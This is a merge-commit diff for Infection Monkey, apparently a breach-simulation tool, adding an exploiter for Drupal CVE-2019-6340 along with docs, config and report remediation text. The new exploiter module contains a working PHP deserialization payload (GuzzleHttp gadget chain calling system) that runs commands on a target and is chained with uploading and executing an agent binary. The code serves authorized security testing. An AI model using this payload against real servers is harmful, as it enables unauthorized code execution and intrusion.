Merge pull request #808 from guardicore/669/drupal

669/drupal
This commit is contained in:
Ophir Harpaz 2020-09-02 11:22:36 +03:00 committed by GitHub
commit 41c2555550
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
11 changed files with 324 additions and 16 deletions

View File

@ -0,0 +1,35 @@
---
title: "Drupal"
date: 2020-09-01T08:42:46+03:00
draft: false
tags: ["exploit", "linux", "windows"]
---
The Drupal exploiter exploits [CVE-2019-6340](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-6340)
on a vulnerable Drupal server.
### Description
Some field types do not properly sanitize data from non-form sources in certain versions
of Drupal server.
This can lead to arbitrary PHP code execution in some cases.
### Affected Versions
* Drupal 8.5.x before 8.5.11 and Drupal 8.6.x before 8.6.10.
One of the following conditions must hold:
* The site has the Drupal 8 core RESTful Web Services (rest) module enabled and allows PATCH
or POST requests; OR
* The site has another web services module enabled, like JSON:API in
Drupal 8, or Services or RESTful Web Services in Drupal 7.
### Notes
* The Infection Monkey exploiter implementation is based on an open-source
[Python implementation](https://gist.github.com/leonjza/d0ab053be9b06fa020b66f00358e3d88/f9f6a5bb6605745e292bee3a4079f261d891738a)
of the exploit by @leonjza.
* For the full attack to work, more than one vulnerable URL is required.

View File

@ -1,3 +1,4 @@
import re
from urllib.parse import urlparse
@ -10,3 +11,10 @@ def get_host_from_network_location(network_location: str) -> str:
"""
url = urlparse("http://" + network_location)
return str(url.hostname)
def remove_port(url):
parsed = urlparse(url)
with_port = f'{parsed.scheme}://{parsed.netloc}'
without_port = re.sub(':[0-9]+(?=$|\/)', '', with_port)
return without_port

View File

@ -1,12 +1,18 @@
from unittest import TestCase
from common.network.network_utils import get_host_from_network_location
from common.network.network_utils import (get_host_from_network_location,
remove_port)
class TestNetworkUtils(TestCase):
def test_remove_port_from_ip_string(self):
def test_get_host_from_network_location(self):
assert get_host_from_network_location("127.0.0.1:12345") == "127.0.0.1"
assert get_host_from_network_location("127.0.0.1:12345") == "127.0.0.1"
assert get_host_from_network_location("127.0.0.1") == "127.0.0.1"
assert get_host_from_network_location("www.google.com:8080") == "www.google.com"
assert get_host_from_network_location("user:password@host:8080") == "host"
def test_remove_port_from_url(self):
assert remove_port('https://google.com:80') == 'https://google.com'
assert remove_port('https://8.8.8.8:65336') == 'https://8.8.8.8'
assert remove_port('ftp://ftpserver.com:21/hello/world') == 'ftp://ftpserver.com'

View File

@ -1,3 +1,4 @@
import logging
from abc import abstractmethod
from datetime import datetime
@ -9,6 +10,9 @@ from infection_monkey.utils.plugins.plugin import Plugin
__author__ = 'itamar'
logger = logging.getLogger(__name__)
class HostExploiter(Plugin):
@staticmethod
def should_run(class_name):
@ -66,8 +70,11 @@ class HostExploiter(Plugin):
def exploit_host(self):
self.pre_exploit()
result = None
try:
result = self._exploit_host()
except Exception as _:
logger.error(f'Exception in exploit_host', exc_info=True)
finally:
self.post_exploit()
return result

View File

@ -0,0 +1,192 @@
"""
Remote Code Execution on Drupal server - CVE-2019-6340
Implementation is based on:
https://gist.github.com/leonjza/d0ab053be9b06fa020b66f00358e3d88/f9f6a5bb6605745e292bee3a4079f261d891738a.
"""
import logging
from urllib.parse import urljoin
import requests
from common.network.network_utils import remove_port
from infection_monkey.exploit.web_rce import WebRCE
from infection_monkey.model import ID_STRING
__author__ = 'Ophir Harpaz'
LOG = logging.getLogger(__name__)
class DrupalExploiter(WebRCE):
_TARGET_OS_TYPE = ['linux', 'windows']
_EXPLOITED_SERVICE = 'Drupal Server'
DRUPAL_PORTS = [[80, False], [443, True]]
def __init__(self, host):
super(DrupalExploiter, self).__init__(host)
def get_exploit_config(self):
"""
We override this function because the exploits requires a special extension in the URL, "node",
e.g. an exploited URL would be http://172.1.2.3:<port>/node/3.
:return: the Drupal exploit config
"""
exploit_config = super(DrupalExploiter, self).get_exploit_config()
exploit_config['url_extensions'] = ['node/', # In Linux, no path is added
'drupal/node/'] # However, Bitnami installations are under /drupal
return exploit_config
def add_vulnerable_urls(self, potential_urls, stop_checking=False):
"""
We need a specific implementation of this function in order to add the URLs *with the node IDs*.
We therefore check, for every potential URL, all possible node IDs.
:param potential_urls: Potentially-vulnerable URLs
:param stop_checking: Stop if one vulnerable URL is found
:return: None (in-place addition)
"""
for url in potential_urls:
try:
node_ids = find_exploitbale_article_ids(url)
if node_ids is None:
LOG.info('Could not find a Drupal node to attack')
continue
for node_id in node_ids:
node_url = urljoin(url, str(node_id))
if self.check_if_exploitable(node_url):
self.add_vuln_url(url) # This is for report. Should be refactored in the future
self.vulnerable_urls.append(node_url)
if stop_checking:
break
except Exception as e: # We still don't know which errors to expect
LOG.error(f'url {url} failed in exploitability check: {e}')
if not self.vulnerable_urls:
LOG.info("No vulnerable urls found")
def check_if_exploitable(self, url):
"""
Check if a certain URL is exploitable.
We use this specific implementation (and not simply run self.exploit) because this function does not "waste"
a vulnerable URL. Namely, we're not actually exploiting, merely checking using a heuristic.
:param url: Drupal's URL and port
:return: Vulnerable URL if exploitable, otherwise False
"""
payload = build_exploitability_check_payload(url)
response = requests.get(f'{url}?_format=hal_json',
json=payload,
headers={"Content-Type": "application/hal+json"},
verify=False)
if is_response_cached(response):
LOG.info(f'Checking if node {url} is vuln returned cache HIT, ignoring')
return False
return 'INVALID_VALUE does not correspond to an entity on this site' in response.text
def exploit(self, url, command):
# pad a easy search replace output:
cmd = f'echo {ID_STRING} && {command}'
base = remove_port(url)
payload = build_cmd_execution_payload(base, cmd)
r = requests.get(f'{url}?_format=hal_json',
json=payload,
headers={"Content-Type": "application/hal+json"},
verify=False)
if is_response_cached(r):
LOG.info(f'Exploiting {url} returned cache HIT, may have failed')
if ID_STRING not in r.text:
LOG.warning('Command execution _may_ have failed')
result = r.text.split(ID_STRING)[-1]
return result
def get_target_url(self):
"""
We're overriding this method such that every time self.exploit is invoked, we use a fresh vulnerable URL.
Reusing the same URL eliminates its exploitability because of caching reasons :)
:return: vulnerable URL to exploit
"""
return self.vulnerable_urls.pop()
def are_vulnerable_urls_sufficient(self):
"""
For the Drupal exploit, 5 distinct URLs are needed to perform the full attack.
:return: Whether the list of vulnerable URLs has at least 5 elements.
"""
# We need 5 URLs for a "full-chain": check remote files, check architecture, drop monkey, chmod it and run it.
num_urls_needed_for_full_exploit = 5
num_available_urls = len(self.vulnerable_urls)
result = num_available_urls >= num_urls_needed_for_full_exploit
if not result:
LOG.info(f'{num_urls_needed_for_full_exploit} URLs are needed to fully exploit a Drupal server '
f'but only {num_available_urls} found')
return result
def is_response_cached(r: requests.Response) -> bool:
""" Check if a response had the cache header. """
return 'X-Drupal-Cache' in r.headers and r.headers['X-Drupal-Cache'] == 'HIT'
def find_exploitbale_article_ids(base_url: str, lower: int = 1, upper: int = 100) -> set:
""" Find target articles that do not 404 and are not cached """
articles = set()
while lower < upper:
node_url = urljoin(base_url, str(lower))
response = requests.get(node_url, verify=False)
if response.status_code == 200:
if is_response_cached(response):
LOG.info(f'Found a cached article at: {node_url}, skipping')
else:
articles.add(lower)
lower += 1
return articles
def build_exploitability_check_payload(url):
payload = {
"_links": {
"type": {
"href": f"{urljoin(url, '/rest/type/node/INVALID_VALUE')}"
}
},
"type": {
"target_id": "article"
},
"title": {
"value": "My Article"
},
"body": {
"value": ""
}
}
return payload
def build_cmd_execution_payload(base, cmd):
payload = {
"link": [
{
"value": "link",
"options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000"
"GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\""
"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:"
"{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";"
"s:|size|:\"|command|\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000"
"stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000"
"GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\""
"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"
"".replace('|size|', str(len(cmd))).replace('|command|', cmd)
}
],
"_links": {
"type": {
"href": f"{urljoin(base, '/rest/type/shortcut/default')}"
}
}
}
return payload

View File

@ -89,13 +89,13 @@ class WebRCE(HostExploiter):
if not ports:
return False
# Get urls to try to exploit
urls = self.build_potential_urls(ports, exploit_config['url_extensions'])
self.add_vulnerable_urls(urls, exploit_config['stop_checking_urls'])
potential_urls = self.build_potential_urls(ports, exploit_config['url_extensions'])
self.add_vulnerable_urls(potential_urls, exploit_config['stop_checking_urls'])
if not self.vulnerable_urls:
if not self.are_vulnerable_urls_sufficient():
return False
self.target_url = self.vulnerable_urls[0]
self.target_url = self.get_target_url()
self.vulnerable_port = HTTPTools.get_port_from_url(self.target_url)
# Skip if monkey already exists and this option is given
@ -104,21 +104,21 @@ class WebRCE(HostExploiter):
return True
# Check for targets architecture (if it's 32 or 64 bit)
if not exploit_config['blind_exploit'] and not self.set_host_arch(self.target_url):
if not exploit_config['blind_exploit'] and not self.set_host_arch(self.get_target_url()):
return False
# Upload the right monkey to target
data = self.upload_monkey(self.target_url, exploit_config['upload_commands'])
data = self.upload_monkey(self.get_target_url(), exploit_config['upload_commands'])
if data is False:
return False
# Change permissions to transform monkey into executable file
if self.change_permissions(self.target_url, data['path']) is False:
if self.change_permissions(self.get_target_url(), data['path']) is False:
return False
# Execute remote monkey
if self.execute_remote_monkey(self.target_url, data['path'], exploit_config['dropper']) is False:
if self.execute_remote_monkey(self.get_target_url(), data['path'], exploit_config['dropper']) is False:
return False
return True
@ -193,6 +193,7 @@ class WebRCE(HostExploiter):
def build_potential_urls(self, ports, extensions=None):
"""
Build all possibly-vulnerable URLs on a specific host, based on the relevant ports and extensions.
:param ports: Array of ports. One port is described as size 2 array: [port.no(int), isHTTPS?(bool)]
Eg. ports: [[80, False], [443, True]]
:param extensions: What subdirectories to scan. www.domain.com[/extension]
@ -350,7 +351,6 @@ class WebRCE(HostExploiter):
if not commands:
commands = {'windows': POWERSHELL_HTTP_UPLOAD, 'linux': WGET_HTTP_UPLOAD}
command = self.get_command(paths['dest_path'], http_path, commands)
resp = self.exploit(url, command)
self.add_executed_cmd(command)
resp = self.run_backup_commands(resp, url, paths['dest_path'], http_path)
@ -508,3 +508,21 @@ class WebRCE(HostExploiter):
def set_vulnerable_port_from_url(self, url):
self.vulnerable_port = HTTPTools.get_port_from_url(url)
def get_target_url(self):
"""
This method allows "configuring" the way in which a vulnerable URL is picked.
If the same URL should be used - always return the first.
Otherwise - implement your own (e.g. Drupal must use a new URI each time).
:return: a vulnerable URL
"""
return self.vulnerable_urls[0]
def are_vulnerable_urls_sufficient(self):
"""
Determine whether the number of vulnerable URLs is sufficient in order to perform the full attack.
Often, a single URL will suffice. However, in some cases (e.g. the Drupal exploit) a vulnerable URL is for
single use, thus we need a couple of them.
:return: Whether or not a full attack can be performed using the available vulnerable URLs.
"""
return len(self.vulnerable_urls) > 0

View File

@ -337,8 +337,8 @@ class InfectionMonkey(object):
:return: True if successfully exploited, False otherwise
"""
if not exploiter.is_os_supported():
LOG.info("Skipping exploiter %s host:%r, os is not supported",
exploiter.__class__.__name__, machine)
LOG.info("Skipping exploiter %s host:%r, os %s is not supported",
exploiter.__class__.__name__, machine, machine.os)
return False
LOG.info("Trying to exploit %r with exploiter %s...", machine, exploiter.__class__.__name__)

View File

@ -26,7 +26,8 @@ BASIC = {
"WebLogicExploiter",
"HadoopExploiter",
"VSFTPDExploiter",
"MSSQLExploiter"
"MSSQLExploiter",
"DrupalExploiter"
]
}
}

View File

@ -125,6 +125,16 @@ EXPLOITER_CLASSES = {
"info": "Exploits a malicious backdoor that was added to the VSFTPD download archive. "
"Logic based on Metasploit module.",
"link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/vsftpd/"
},
{
"type": "string",
"enum": [
"DrupalExploiter"
],
"title": "Drupal Exploiter",
"info": "Exploits a remote command execution vulnerability in a Drupal server,"
"for which certain modules (such as RESTful Web Services) are enabled.",
"link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/drupal/"
}
]
}

View File

@ -43,7 +43,8 @@ class ReportService:
'WebLogicExploiter': 'Oracle WebLogic Exploiter',
'HadoopExploiter': 'Hadoop/Yarn Exploiter',
'MSSQLExploiter': 'MSSQL Exploiter',
'VSFTPDExploiter': 'VSFTPD Backdoor Exploited'
'VSFTPDExploiter': 'VSFTPD Backdoor Exploiter',
'DrupalExploiter': 'Drupal Server Exploiter'
}
class ISSUES_DICT(Enum):
@ -61,6 +62,7 @@ class ReportService:
PTH_CRIT_SERVICES_ACCESS = 11
MSSQL = 12
VSFTPD = 13
DRUPAL = 14
class WARNINGS_DICT(Enum):
CROSS_SEGMENT = 0
@ -355,6 +357,12 @@ class ReportService:
processed_exploit['type'] = 'mssql'
return processed_exploit
@staticmethod
def process_drupal_exploit(exploit):
processed_exploit = ReportService.process_general_exploit(exploit)
processed_exploit['type'] = 'drupal'
return processed_exploit
@staticmethod
def process_exploit(exploit):
exploiter_type = exploit['data']['exploiter']
@ -370,7 +378,8 @@ class ReportService:
'WebLogicExploiter': ReportService.process_weblogic_exploit,
'HadoopExploiter': ReportService.process_hadoop_exploit,
'MSSQLExploiter': ReportService.process_mssql_exploit,
'VSFTPDExploiter': ReportService.process_vsftpd_exploit
'VSFTPDExploiter': ReportService.process_vsftpd_exploit,
'DrupalExploiter': ReportService.process_drupal_exploit
}
return EXPLOIT_PROCESS_FUNCTION_DICT[exploiter_type](exploit)
@ -666,6 +675,8 @@ class ReportService:
issues_byte_array[ReportService.ISSUES_DICT.MSSQL.value] = True
elif issue['type'] == 'hadoop':
issues_byte_array[ReportService.ISSUES_DICT.HADOOP.value] = True
elif issue['type'] == 'drupal':
issues_byte_array[ReportService.ISSUES_DICT.DRUPAL.value] = True
elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \
issue['username'] in config_users or issue['type'] == 'ssh':
issues_byte_array[ReportService.ISSUES_DICT.WEAK_PASSWORD.value] = True

View File

@ -784,6 +784,23 @@ class ReportPageComponent extends AuthComponent {
);
}
generateDrupalIssue(issue) {
return (
<>
Upgrade Drupal server to versions 8.5.11, 8.6.10, or later.
<CollapsibleWellComponent>
Drupal server at <span className="badge badge-primary">{issue.machine}</span> (<span
className="badge badge-info" style={{margin: '2px'}}>{issue.ip_address}</span>) is vulnerable to <span
className="badge badge-danger">remote command execution</span> attack.
<br/>
The attack was made possible because the server is using an old version of Drupal, for which REST API is
enabled. For possible workarounds, fixes and more info read
<a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-6340">here</a>.
</CollapsibleWellComponent>
</>
);
}
generateWebLogicIssue(issue) {
return (
<>
@ -905,6 +922,9 @@ class ReportPageComponent extends AuthComponent {
case 'mssql':
issueData = this.generateMSSQLIssue(issue);
break;
case 'drupal':
issueData = this.generateDrupalIssue(issue);
break;
}
return <li key={JSON.stringify(issue)}>{issueData}</li>;
};